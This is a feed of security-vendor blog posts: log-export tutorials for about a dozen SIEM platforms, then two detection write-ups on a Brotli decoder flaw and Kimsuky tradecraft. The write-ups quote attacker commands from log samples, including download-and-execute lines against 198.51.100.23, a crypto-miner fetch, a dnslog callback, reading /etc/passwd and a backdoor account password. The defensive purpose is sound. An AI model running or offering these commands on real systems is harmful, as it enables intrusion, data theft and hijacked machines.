Run your search through the Helix search API: a POST to https://apps.fireeye.com/helix/id/<instance-id>/api/v1/search with your API key in the x-fireeye-api-key header and the query in the body. Regional instances use their own hosts, such as helix.eu.fireeye.com. The results come back as JSON, and the original log line is kept in the raw message field.

Trellix Helix, formerly FireEye Helix and called Helix Enterprise in newer docs, combines log search with detection content. Prime Core has 18,667 detection rules for Trellix Helix, mapped to 632 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create one in Trellix Identity and Access Management under API Keys, with the search scopes your query needs.

Your instance ID. It’s shown in the top-left corner of the Helix interface, and it goes into every API URL.

The query language. Helix uses TQL, which replaced MQL. Free-text terms without a field are matched against the raw message index. Build and test the query in the Helix search page first.

Export with the search API

HELIX="https://apps.fireeye.com/helix/id/<instance-id>"

curl -sS -X POST "$HELIX/api/v1/search" \
  -H "x-fireeye-api-key: $HELIX_KEY" -H 'Content-Type: application/json' \
  -d '{"query": "hostname:\"web-03\""}' \
  > helix_web03_1019.json

Once you know the structure, flatten it to one event per line with jq -c, and pull out the raw field with jq -r when the source was text.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. 
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export Trellix Helix Logs appeared first on SOC Prime.

Use FortiSIEM’s REST event query API. Post an XML query to /phoenix/rest/query/eventQuery, which returns a query ID, poll the progress until it reaches 100, then fetch the events. The results come back as XML. The original log line of each event is in the rawEventMsg attribute, so a few lines of Python turn the result into raw logs. Exports from the Analytics screen come out in formats LogTotal doesn’t read today. 

FortiSIEM is common wherever Fortinet runs the network, and it often holds far more than firewall logs. Prime Core has 19,692 detection rules for FortiSIEM, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API user. Use an account with rights to run analytics queries. The API authenticates with basic auth, with the organization in the username: super/<user> on an enterprise install, <org>/<user> for a specific organization in a service provider install.

Retention. Online event storage is limited. Older events may sit in archive storage that needs extra steps. 

Attribute names. FortiSIEM queries use its own attribute names, such as reptDevName (reporting device), reptDevIpAddr, eventType and phRecvTime. Build the filter in Analytics first.

Export with the event query API

Save the query as query.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Reports><Report><Name>LogTotal export</Name><Description/>
  <SelectClause><AttrList>phRecvTime,reptDevIpAddr,eventType,rawEventMsg</AttrList></SelectClause>
  <ReportInterval><Low>1792368000</Low><High>1792454400</High></ReportInterval>
  <PatternClause><SubPattern id="1" name="Filter">
    <SingleEvtConstr>reptDevName = "web-03"</SingleEvtConstr>
  </SubPattern></PatternClause>
</Report></Reports>

The interval is epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. Then run it:

FSM="https://fortisiem.example.com"
AUTH="super/apiuser:$FSM_PASS"

QID=$(curl -sS -u "$AUTH" -X POST -H 'Content-Type: text/xml' --data @query.xml "$FSM/phoenix/rest/query/eventQuery")
until [ "$(curl -sS -u "$AUTH" "$FSM/phoenix/rest/query/progress/$QID")" = "100" ]; do sleep 5; done
curl -sS -u "$AUTH" "$FSM/phoenix/rest/query/events/$QID/0/1000" > fsm_web03_1019.xml

The last two path segments are the start offset and the count. Page through large results in steps of 1,000. Then pull out the raw messages:

import xml.etree.ElementTree as ET

import xml.etree.ElementTree as ET

root = ET.parse("fsm_web03_1019.xml").getroot()
with open("fsm_web03_1019.log", "w") as out:
    for attr in root.iter("attribute"):
        if attr.get("name") == "rawEventMsg" and attr.text:
            out.write(attr.text.strip() + "\n")

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data. 

When it goes wrong

The post How to Export FortiSIEM Logs appeared first on SOC Prime.

Graylog keeps its messages in OpenSearch or Elasticsearch, so you have two routes. Use the Graylog REST API, authenticated with an access token, or query the backend indices (graylog_* by default) directly with a script. Either way you get JSON. The original line is in message, and in full_message for some inputs. The export in the Graylog web interface produces a format LogTotal doesn’t read today. 

Graylog is a popular open log management platform, often the first central logging a team sets up. Prime Core has 23,274 detection rules for Graylog, mapped to 671 MITRE ATT&CK techniques. Below is how to get messages out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An access token. In Graylog, open your user’s settings and create a token. With the API, you authenticate as <token>:token: the token as the username and the word token as the password.

Backend access, if you go direct. The OpenSearch or Elasticsearch cluster behind Graylog often isn’t reachable from outside. Ask whoever runs it for a read-only account.

Streams and index sets. Graylog routes messages into streams, and streams map to index sets with their own prefixes and retention. Know which index set holds your data.

Option 1: Graylog REST API

GL="https://graylog.example.com"

curl -sS -u "$GL_TOKEN:token" -H 'Accept: application/json' -G "$GL/api/search/universal/absolute" \
  --data-urlencode 'query=source:web-03' \
  --data-urlencode 'from=2026-10-19T00:00:00.000Z' \
  --data-urlencode 'to=2026-10-20T00:00:00.000Z' \
  --data-urlencode 'limit=10000' \
  | jq -c '.messages[].message' > graylog_web03_1019.jsonl

Newer Graylog versions favor the Views search API. For large exports, Option 2 is more reliable.

Option 2: Query the backend indices

This is the same approach as our pointed at Graylog’s indices:

import json, os
from opensearchpy import OpenSearch, helpers

client = OpenSearch("https://opensearch.example.com:9200",
                    http_auth=("reader", os.environ["OS_PASSWORD"]), verify_certs=True)
query = {"query": {"bool": {"filter": [
    {"term": {"source": "web-03"}},
    {"range": {"timestamp": {"gte": "2026-10-19 00:00:00.000", "lt": "2026-10-20 00:00:00.000"}}},
]}}}

with open("graylog_web03_1019.jsonl", "w") as out:
    for hit in helpers.scan(client, index="graylog_*", query=query, size=1000):
        out.write(json.dumps(hit["_source"]) + "\n")

Graylog stores timestamp as yyyy-MM-dd HH:mm:ss.SSS in UTC, which is why the range uses that format. For a backend running Elasticsearch, use the elasticsearch client the same way.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file. 
2. Sanitize. 
3. Review. 

When it goes wrong

The post How to Export Graylog Logs appeared first on SOC Prime.

Wazuh keeps its data in two places. On the Wazuh manager, alerts are written to /var/ossec/logs/alerts/alerts.json, one JSON object per line, and rotated daily into compressed files by date. The same alerts are indexed in the Wazuh indexer (OpenSearch), in wazuh-alerts-4.x-*. Either way, the original log line that triggered an alert is in full_log. To export every event, not just the ones that matched a rule, the manager needs archiving turned on.

Wazuh is the most widely used open-source SIEM and XDR, and its data is easy to get at once you know where to look. Prime Core has 23,542 detection rules for Wazuh, mapped to 671 MITRE ATT&CK techniques. Below is how to export alerts and events, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Alerts or archives? Alerts are the events that matched a Wazuh rule above the alert level threshold. Archives hold everything the manager received, but only if logall_json is enabled in ossec.conf. If the question is “what else happened on that host?”, you want archives, and they only exist from the moment they were turned on.

Permissions. On the manager, the files are owned by the wazuh user and group, so use sudo. For the indexer, you need a user with read access to the alert indices.

Retention. The manager’s rotated files stay until someone deletes them. The indexer keeps what its index lifecycle policy allows.

Option 1: Files on the manager

# today's alerts so far
sudo cp /var/ossec/logs/alerts/alerts.json ./wazuh_alerts_today.jsonl

# a past day (rotated and compressed)
sudo zcat /var/ossec/logs/alerts/2026/Oct/ossec-alerts-19.json.gz > wazuh_alerts_1019.jsonl

# one agent only
jq -c 'select(.agent.name == "web-03")' wazuh_alerts_1019.jsonl > web-03_alerts_1019.jsonl

# the original log lines behind the alerts
jq -r '.full_log // empty' web-03_alerts_1019.jsonl > web-03_raw_1019.log

With archiving enabled, the same pattern works for /var/ossec/logs/archives/archives.json and its rotated files under /var/ossec/logs/archives/<year>/<month>/.

Option 2: The Wazuh indexer

The indexer is OpenSearch, so our applies as written. Point it at wazuh-alerts-* and filter on agent.name and timestamp:

query = {"query": {"bool": {"filter": [
    {"term": {"agent.name": "web-03"}},
    {"range": {"timestamp": {"gte": "2026-10-19T00:00:00Z", "lt": "2026-10-20T00:00:00Z"}}},
]}}}

The Wazuh dashboard can also generate reports, but not in a format LogTotal reads today.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file: the alert JSON, or the raw lines from full_log. 
2. Sanitize. 
3. Review.

When it goes wrong

The post How to Export Wazuh Logs appeared first on SOC Prime.

Use the Log Search API. Send a LEQL query for a log and a time window to https://<region>.rest.logs.insight.rapid7.com/query/logs/<log-key> with your API key in the X-Api-Key header. The API returns events in pages and gives you a link to the next one. Log Search in the UI can export results too.

InsightIDR collects endpoint, network and cloud logs for Rapid7 customers, and its Log Search is where investigations usually start. Prime Core has 23,965 detection rules for InsightIDR, mapped to 676 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create one in the Insight Platform settings (an organization key or a user key) with access to InsightIDR.

Your region. The host depends on where your data lives: us, us2, us3, eu, ca, au, ap.

Log keys. Each log has a key, and queries run against one or more of them. List them with the API, as shown below.

Retention. How far back Log Search goes depends on your subscription.

Export with the Log Search API

REGION=us
BASE="https://$REGION.rest.logs.insight.rapid7.com"
FROM=$(date -d '2026-10-19T00:00:00Z' +%s000)
TO=$(date -d '2026-10-20T00:00:00Z' +%s000)
Q=$(printf '%s' 'where(hostname=web-03)' | jq -sRr @uri)

# list logs and their keys
curl -sS -H "X-Api-Key: $R7_KEY" "$BASE/management/logs" | jq -r '.logs[] | "\(.id)  \(.name)"'

# query one log, following the pages
URL="$BASE/query/logs/<log-key>?query=$Q&from=$FROM&to=$TO&per_page=500"
while [ -n "$URL" ]; do
  RESP=$(curl -sS -H "X-Api-Key: $R7_KEY" "$URL")
  echo "$RESP" | jq -c '.events[]?'
  URL=$(echo "$RESP" | jq -r '.links[]? | select(.rel == "Next") | .href' | head -1)
done > r7_web03_1019.jsonl

Long-running queries may first answer with a link to poll instead of results. Each event’s message field holds the log entry. Extract it with jq -r ‘.message’ when the source was text.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export Rapid7 InsightIDR Logs appeared first on SOC Prime.

Use LogPoint’s Search API, which works in two calls to the same endpoint, /getsearchlogs. The first call sends your query, time range and repos, and returns a search_id. The second call sends that search_id and returns the rows once the search is final. Both calls are form-encoded POSTs authenticated with your username and secret key.

LogPoint is a popular SIEM in Europe, and the Search API is the cleanest way to get a defined slice of its data out. Prime Core has 19,598 detection rules for LogPoint, mapped to 664 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Your secret key. Every API call carries your LogPoint username and secret key. You find the key in your user profile’s access key settings. Treat it like a password.

Repo names. Searches run against repos, written as <ip>:5504/<repo>, for example 127.0.0.1:5504/_logpoint. The same endpoint family lists them for you (getalloweddata with type logpoint_repos).

Time range. time_range takes either a preset like “Last 24 hours” or a pair of epoch seconds. For incident work, use the epoch pair; date -d ‘2026-10-19T00:00:00Z’ +%s computes it.

Export with the Search API

LP="https://logpoint.example.com"

# 1. start the search (2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC)
SID=$(curl -sS "$LP/getsearchlogs" \
  --data-urlencode "username=$LP_USER" --data-urlencode "secret_key=$LP_KEY" \
  --data-urlencode 'requestData={"query": "device_ip=10.0.0.5", "time_range": [1792368000, 1792454400], "limit": 10000, "repos": ["127.0.0.1:5504/_logpoint"]}' \
  | jq -r '.search_id')

# 2. fetch results until the search is final
while :; do
  R=$(curl -sS "$LP/getsearchlogs" \
      --data-urlencode "username=$LP_USER" --data-urlencode "secret_key=$LP_KEY" \
      --data-urlencode "requestData={\"search_id\": \"$SID\"}")
  [ "$(echo "$R" | jq -r '.final')" = "true" ] && break
  sleep 3
done

echo "$R" | jq -c '.rows[]' > logpoint_1019.jsonl
echo "$R" | jq -r '.rows[].msg // empty' > logpoint_1019_raw.log

Keep the query a filter. A query with | chart or other aggregations returns aggregated rows, not logs. The raw log usually sits in the msg field.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export LogPoint Logs appeared first on SOC Prime.

In NetWitness Investigate, run your query in the Events view, select the events (or all of them), and download the logs. Pick Text to get the raw log lines, or JSON for structured events. Large downloads run as jobs; you collect the file from the Jobs tray when it’s ready. By default, one export can include up to 100,000 sessions.

NetWitness, formerly RSA NetWitness, stores logs on Log Decoders and makes them searchable through Concentrators and Brokers. Prime Core has 18,461 detection rules for NetWitness, mapped to 631 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Before you start

Access to Investigate. You need a role that can investigate the service (Broker or Concentrator) holding the logs.

Set the export format once. In Profile → Preferences → Investigation, the Export Log Format preference decides the default format for downloads: Text, XML, CSV or JSON. Choose Text for raw logs. If it’s left empty, NetWitness asks every time.

Retention. How far back you can go depends on Log Decoder storage. Older logs may only exist in an archiver, if you have one.

Export from Investigate

1. Open Investigate → Events, pick the service, and set the time range.
2. Query with meta keys (example below).
3. Run the query and check the count.
4. Select the events you want, or none to take all of them, and choose the download option for logs (Text or JSON).
5. Open the Jobs tray (the stopwatch icon) and download the file when the job finishes.

A query for one Linux host looks like this. For Windows logs, device.type = ‘winevent_nic’ is the common log parser.

device.type = 'rhlinux' && alias.host = 'web-03'

For a single event, the Text tab of the event details has its own download options for the raw log.

The Max Session Export setting caps how many sessions one export can include (100,000 by default). For bigger windows, split by time.

Option 2: REST API on the services

Concentrators and Brokers expose a REST interface that can run queries and return log content. That suits scripted exports.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export NetWitness Logs appeared first on SOC Prime.

Use the Devo Query API: send a LINQ query, a time range and an output mode to the /search/query endpoint of your region, authenticated with an API token or key and secret. Ask for a JSON mode and you get structured events; select the message field from raw tables to get the original lines back. The official Python SDK (devo-sdk) wraps the same API if you prefer code to curl.

Devo stores large volumes of security and operational data in the cloud, often with long retention. Prime Core has 23,653 detection rules for Devo, mapped to 664 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

Get Started For Free

Before you start

Credentials. Create an API token, or an API key and secret, in your Devo domain’s credentials settings, with access to the tables you need.

Your region’s endpoint. The Query API host depends on where your domain lives, for example apiv2-us.devo.com or apiv2-eu.devo.com.

Table names. Devo organizes data in tables like box.unix or firewall.fortinet.traffic. Find yours in the Data Search area, and build the query there first.

Export with the Query API

curl -sS -X POST "https://apiv2-eu.devo.com/search/query" \
  -H "Authorization: Bearer $DEVO_TOKEN" -H 'Content-Type: application/json' \
  -d '{
    "query": "from box.unix where hostname = \"web-03\" select eventdate, hostname, message",
    "from": 1792368000,
    "to": 1792454400,
    "mode": {"type": "json/simple"}
  }' > devo_web03_1019.json

The from and to values above are epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. If the response is one JSON object per line, upload it as-is. If it’s an array, flatten it with jq -c ‘.[]’. For raw lines, extract message.

Python alternative. pip install devo-sdk, then use the API client from the devo.api package with your token, the same query and dates. It handles the request signing for key-and-secret authentication.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

When it goes wrong

The post How to Export Devo Logs appeared first on SOC Prime.

On the New-Scale Security Operations Platform, get an access token with your API key, then call the event search API with a filter, a time range and the fields you want. You get JSON back, one row per event. The Search app can also export results from the UI. Older on-premises Exabeam Data Lake deployments work differently; see the FAQ.

Exabeam collects logs for behavior analytics and SIEM, and since its merger with LogRhythm it covers a big share of the market. Prime Core has 15,635 detection rules for Exabeam, mapped to 542 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create a client ID and secret in the platform’s API key settings, with permission to search events.

Your regional API host. It follows the pattern api.<region>.exabeam.cloud, for example api.us-west.exabeam.cloud or api.us-east.exabeam.cloud.

Query syntax. The event search uses Lucene-style filters, the same ones you type in the Search app. Test there first.

Export with the Search API

BASE="https://api.us-west.exabeam.cloud"

# 1. access token
TOKEN=$(curl -sS -X POST "$BASE/auth/v1/token" -H 'Content-Type: application/json' \
  -d "{\"client_id\": \"$EXA_ID\", \"client_secret\": \"$EXA_SECRET\", \"grant_type\": \"client_credentials\"}" \
  | jq -r '.access_token')

# 2. event search
curl -sS -X POST "$BASE/search/v2/events" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{
    "filter": "host:\"web-03\"",
    "startTime": "2026-10-19T00:00:00Z",
    "endTime": "2026-10-20T00:00:00Z",
    "fields": ["*"],
    "limit": 10000
  }' > exabeam_web03_1019.json

jq -c '.rows[]' exabeam_web03_1019.json > exabeam_web03_1019.jsonl

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the .jsonl file.
2. Sanitize.
3. Review. 

When it goes wrong

The post How to Export Exabeam Logs appeared first on SOC Prime.

Generate an API token, run your Spotter query through the Securonix REST API (/ws/spotter/index/search), and save the events as JSON. When the source sent raw text, the original line is usually kept in the raw event field. Spotter in the UI can export results too. 

Securonix pulls in large volumes of activity data for UEBA and SIEM, which makes it a rich place to export an investigation slice from. Prime Core has 14,283 detection rules for Securonix, mapped to 620 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

Get Started For Free

Before you start

API access. You need a Securonix user that’s allowed to use the API. Tokens are generated with that user’s credentials and have a validity period you choose.

Your tenant URL. Cloud tenants usually look like https://<tenant>.securonix.net/Snypr.

Retention. Hot data is searchable directly in Spotter. Older data may sit in long-term storage that needs extra steps to search. 

Export with the REST API

BASE="https://<tenant>.securonix.net/Snypr"

# 1. token, valid for one day
TOKEN=$(curl -sS -H "username: $SNX_USER" -H "password: $SNX_PASS" -H "validity: 1" \
  "$BASE/ws/token/generate")

# 2. Spotter query for a time window
curl -sS -G -H "token: $TOKEN" "$BASE/ws/spotter/index/search" \
  --data-urlencode 'query=index=activity AND devicehostname="web-03"' \
  --data-urlencode 'eventtime_from=10/19/2026 00:00:00' \
  --data-urlencode 'eventtime_to=10/20/2026 00:00:00' \
  > snx_web03_1019.json

# 3. one event per line
jq -c '.events[]' snx_web03_1019.json > snx_web03_1019.jsonl

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review. 

When it goes wrong

The post How to Export Securonix Logs appeared first on SOC Prime.

How you export from ArcSight depends on which part of it holds the data. For history, search in ArcSight Logger and export the results. For a repeatable route, forward events from Logger or a SmartConnector to a syslog collector as CEF, and export the collector’s file. One thing decides how useful any export is: the original raw event is kept only if your SmartConnectors were configured to preserve it.

OpenText ArcSight has been running in large SOCs for a long time, which means it often holds years of history nobody else has. Prime Core has 21,311 detection rules for ArcSight, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Which ArcSight? Logger stores and searches events. ESM correlates them. Recon is the newer search and analytics layer. For bulk export, Logger is usually the right place.

Is the raw event there? SmartConnectors normalize events into CEF fields. They keep the original text only with raw event preservation turned on. If it was off, you can export the normalized CEF events, but not the original lines.

Rights and retention. You need a Logger user that can search the storage groups involved, and the data has to still be within Logger’s retention.

Option 1: Logger search and export

1. In Logger, open Search, set the time range, and write the query using CEF field names, for example destinationHostName = “web-03” AND deviceVendor = “Unix”.
2. Run it and check the count.
3. Export the results. 

Option 2: Forward CEF to a syslog collector

Set up a small Linux collector with rsyslog listening on UDP or TCP 514. Then point a Logger forwarder or a SmartConnector destination at it, in CEF over syslog. Logger forwarders can also send a past time range as a one-off. Then cut the window you need from the collector’s file:

grep 'web-03' /var/log/arcsight/cef.log > arcsight_web03.log

Each line is a CEF record: a header with vendor, product and event name, then key=value extensions. If raw event preservation was on, the original text sits in the rawEvent field.

Option 3: Logger REST API

Logger also has a REST API for logging in and running searches, which suits scripted exports.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review. 

What this looks like on real data.

When it goes wrong

The post How to Export ArcSight Logs appeared first on SOC Prime.

Node2Shell/HTTP2Shell detection is harder than it looks, because the vulnerability is not confined to one product. Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Since the flaw sits in a shared compression library, it reaches Node.js, Python Brotli packages, Bun, curl, Envoy, and other software that decodes Brotli.

This article covers Node2Shell/HTTP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we cover the vulnerability context, the log source, what LogTotal reported, and how to respond.

Get Started For Free

Node2Shell (HTTP2Shell) Analysis

The vulnerable code sits in Brotli C decoder versions 1.0.3 to 1.2.0. Google, as the numbering authority, scored it 9.2 under CVSS 4.0, while Node.js rates it High. To read the log sample correctly, it helps to know how the bug is triggered, how the disclosure unfolded, and which software versions and configurations are exposed.

Vulnerability details for Node2Shell

A Brotli stream that declared a single block type and then switched blocks was not rejected, so decoding continued in an invalid state and wrote past a buffer. Any process that decompresses attacker-controlled Brotli data can be hit, in two directions:

• Inbound: a crafted Brotli-compressed HTTP request body sent to a server that decodes it.
• Outbound: a crafted response returned to a client that fetches it.

The bug has several names. Node2Shell came first because Node.js disclosed and fixed it first. HTTP2Shell reflects that it reaches any stack that decodes Brotli over HTTP, and some coverage also uses Python2Shell and Broccoli2Shell.

Disclosure and exploitation timeline

The bug itself shipped in Brotli 1.0.3 in March 2018. Khai Tran and Sylvie Mayer of OpenAI Codex Security reported it to Node.js. A public proof of concept exists, Imperva and ELLIO both reproduced code execution against official Node.js builds, and scanners that map which hosts decompress Brotli are already in use. Code execution has not been shown for the Python packages, although they crash on malicious input, as the web-prod-01 crash in this sample shows.

Node2Shell affected versions and fixes

A vulnerable version is only exposed if attacker data can reach the decoder. In Node.js, that path exists through Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress with request decompression, fetch(), and direct node:zlib Brotli calls. In Python, requests, httpx, aiohttp, and Scrapy use the brotli or brotlicffi package whenever it is installed. In .NET, Brotli decompression is off by default, and Envoy and Istio are exposed only with the Brotli decompressor enabled. curl decodes Brotli only with –compressed, through the system libbrotli, so it needs a patched distribution package; Debian and Red Hat have shipped fixed ones.

Log source and collection

Hosts in the sample

Three hosts appear in the raw data, on two operating systems. Each one shows a different part of the Node2Shell exposure.

Detect Node2Shell (HTTP2Shell)

LogTotal processed 11 lines in 5.3 seconds and matched 23 rules against 10 lines. It formed 2 chains, reported 1, and filtered out 1 at the AI verification step.

The reported chain is Node2Shell / HTTP2Shell is a critical vulnerability (CVE-2026-111497): High, 100% match, 2 rules fired. It sits on a pseudonymized host between 11:30 and 11:31 UTC, and that window and evidence match app-node-01.

Exploitation: the Brotli decoder crash

The rule “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” matched node segfaulting in libbrotlidec.so.1.1.0. The core dump stack is topped by BrotliDecoderDecompressStream.

The report maps this crash to denial of service (T1499.004), which is where the Impact stage comes from. The rule’s last hit, at 11:33, falls on the python3 crash in _brotli.cpython-311 on web-prod-01, which shows the same library failing in a second runtime.

Post-exploitation on Linux

“Suspicious NodeJS Child Processes [Linux]” fired 4 times as node /opt/app/server.js spawned:

• curl fetching the public C3Pool XMRig miner setup script
• wget http://198.51.100.23:3000/s.sh
• ping -c 1 5axzi7.dnslog.cn, an out-of-band callback check
• cat /etc/passwd

Post-exploitation on Windows, outside the chain

The Windows half of the sample sits outside the reported chain but deserves the same attention. On win-dev-01, node.exe spawned cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, a download-and-execute pattern, and then a hidden powershell.exe running whoami.

Rules that fired on this activity include Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, and Suspicious Powershell Cmdlets. The filtered-out chain, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), was driven by the curl executions.

Node2Shell IOCs from this sample

Using LogTotal findings in Node2Shell triage

Start from the reported chain to confirm exploitation on app-node-01, then work through every finding outside the chain. In this sample, the out-of-chain rules and the filtered chain point to two more affected hosts, web-prod-01 and win-dev-01.

Node2Shell (HTTP2Shell) Mitigation

Patching Node.js alone does not close Node2Shell, because the flaw sits in the shared Brotli decoder. Every runtime or proxy that decodes Brotli needs an update, and every host in the sample needs to be in scope.

Patch every Brotli consumer

1. Find services on Node.js below 22.23.4, 24.22.1, or 26.12.1, on an end-of-life Node.js line, or on Bun below 1.4.4, including base images and build hosts.
2. Patch first the services that decompress request bodies (Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress), fetch user-supplied URLs, or pass untrusted data to node:zlib Brotli functions.
3. Upgrade the runtime, then restart processes and rebuild container images, including self-contained .NET apps and binaries built with bun build –compile.
4. Upgrade PyPI brotli to 1.2.1 and brotlicffi to 1.2.1.0, and update the .NET runtime, Envoy, Istio, and distribution brotli packages.
5. Move off Node.js 20 and other end-of-life lines, which receive no fix.
6. Until patches ship, reject Content-Encoding: br at the WAF or proxy, matching it case-insensitively and inside lists such as “gzip, br”. This does not cover Brotli responses read by fetch().

LogTotal’s recommended response

1. Isolate the host.
2. Collect process, system, and network data for 11:30–11:33 UTC.
3. Verify the Node.js patch level: 22.23.4, 24.22.1, or 26.12.1.
4. Remove unauthorized binaries.
5. Reject untrusted Content-Encoding: br at the WAF.
6. Run Node.js unprivileged.
7. Disable automatic Brotli decompression where feasible.

Additional steps from the raw evidence

1. Widen the scope to win-dev-01 and web-prod-01, not just app-node-01.
2. Block at egress 198.51.100.23 and *.dnslog.cn.
3. Check for a miner: cron entries, systemd units, and a running xmrig process.
4. Assume /etc/passwd was read and review accounts accordingly.
5. Hunt for node, node.exe, or python3 spawning shells, downloaders, or network tools.

Ongoing Node2Shell monitoring

Forward kernel and systemd-coredump messages along with EDR process events. In this sample, the coredump stack was the only direct evidence of exploitation, and the EDR events carried everything that followed.

The post Node2Shell/HTTP2Shell Detection appeared first on SOC Prime.

Kimsuky detection depends on recognizing the group’s tradecraft in your own telemetry, not just on matching a hash. Kimsuky is a North Korean APT group, and one of its published campaigns impersonates diplomats to deliver LNK files and PowerShell droppers. Those techniques leave traces in ordinary Windows Security logs: script hosts launched from user-writable folders, hidden PowerShell, new services and scheduled tasks, and quiet account changes.

This article covers Kimsuky detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we describe where the logs came from, what LogTotal flagged, which findings hold up against the raw events, and what the response should be.

Get Started For Free

Kimsuky Analysis

The tradecraft in this sample reads more clearly against the group’s background and its recent campaigns, so we start there before turning to the logs.

Who is Kimsuky

Kimsuky is a North Korean state-sponsored APT group focused on intelligence collection. MITRE ATT&CK tracks it as G0094, and vendors also call it APT43, Velvet Chollima, Black Banshee, THALLIUM, Emerald Sleet, TA427, and Springtail. Its activity is believed to align with North Korea’s Reconnaissance General Bureau.

CISA assesses that the group has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the name comes from an internal code reference Kaspersky researchers found.

Most Kimsuky operations hit South Korea, with others reaching the United States, Japan, Europe, and Russia. Beyond government and policy targets, victims include academics and the cryptocurrency sector. Spear-phishing is its most observed entry point.

Kimsuky activity in 2026

The sample analyzed here dates from 21 September 2026, inside this period. Its dot-padded, PDF-themed LNK, hidden PowerShell, and logon-triggered scheduled task match these campaigns closely.

The log sample

The sample is a single file, Kimsuky.jsonl, with 3,087 events from one domain controller. It shows Kimsuky-style tradecraft executed against a DC in a controlled emulation, which makes it a useful reference for what this activity looks like in native Windows audit telemetry.

Log source and collection

The JSON layout points to an EVTX-to-JSON conversion rather than a SIEM-normalized export. 

What the events contain

Most events are object and handle auditing (4658, 4656, 4663, 4690), token right adjustments (4703), and file share access (5145). These are high-volume and mostly background noise.

The detection-relevant events are far fewer:

• 49 process creations (4688) with full command lines
• Account and group management (4720–4738)
• Service installation (4697)
• Scheduled task lifecycle: created, updated, deleted (4698, 4702, 4699)
• Active Directory object changes (5136)
• Audit policy changes (4719)

Attack context: an emulation, not a live intrusion

The activity is clearly an emulation of Kimsuky tradecraft. Every attacker command has powershell_ise.exe as its parent process. Objects carry test names such as OrbitalTestSvc, adminuserz, and the password !BackdoorPass1. At the end, the operator removes the service, task, user, and group.

The techniques themselves mirror a published Kimsuky campaign in which the group impersonates diplomats and delivers LNK files and PowerShell droppers. That is why the telemetry is valuable: the behaviors are real even though the operator is not.

Detect Kimsuky

LogTotal processed all 3,087 lines in 16.4 seconds and matched 73 rules against 105 lines. It grouped those matches into 9 attack chains on one host, reported 8, and filtered out 1 at the AI verification step.

How LogTotal’s rules map to raw Kimsuky evidence

Kimsuky IOCs and artifacts from this sample

The artifacts below come from an emulation, so the names themselves will not recur in the wild. The patterns behind them are what to hunt for.

Kimsuky Mitigation

Contain the domain controller first, then rebuild trust in its accounts and logging. LogTotal’s response plan covers the essentials; because the target is a DC, the scope needs to widen to the domain.

LogTotal’s recommended response

1. Isolate the host.
2. Image memory and disk.
3. Verify and remove the OrbitalHealthCheck scheduled task.
4. Check and restore the audit policy.
5. Enable PowerShell Script Block Logging and AMSI telemetry.
6. Apply allowlisting for WScript, CScript, and PowerShell.

Additional steps for a domain controller

1. Start the timeline at the 1102 event. The Security log was cleared at 15:02:41 UTC, so anything before it must come from other sources.
2. Collect and hash everything in C:\Users\Public\Downloads\ and %TEMP%, including the LNK, JScript, PowerShell, HTA, and fake smss.Exe.
3. Confirm cleanup. Verify that OrbitalTestSvc, adminuserz, and admingroupz are gone, and revert the Winlogon\SpecialAccounts\UserList value that hides Administrator.
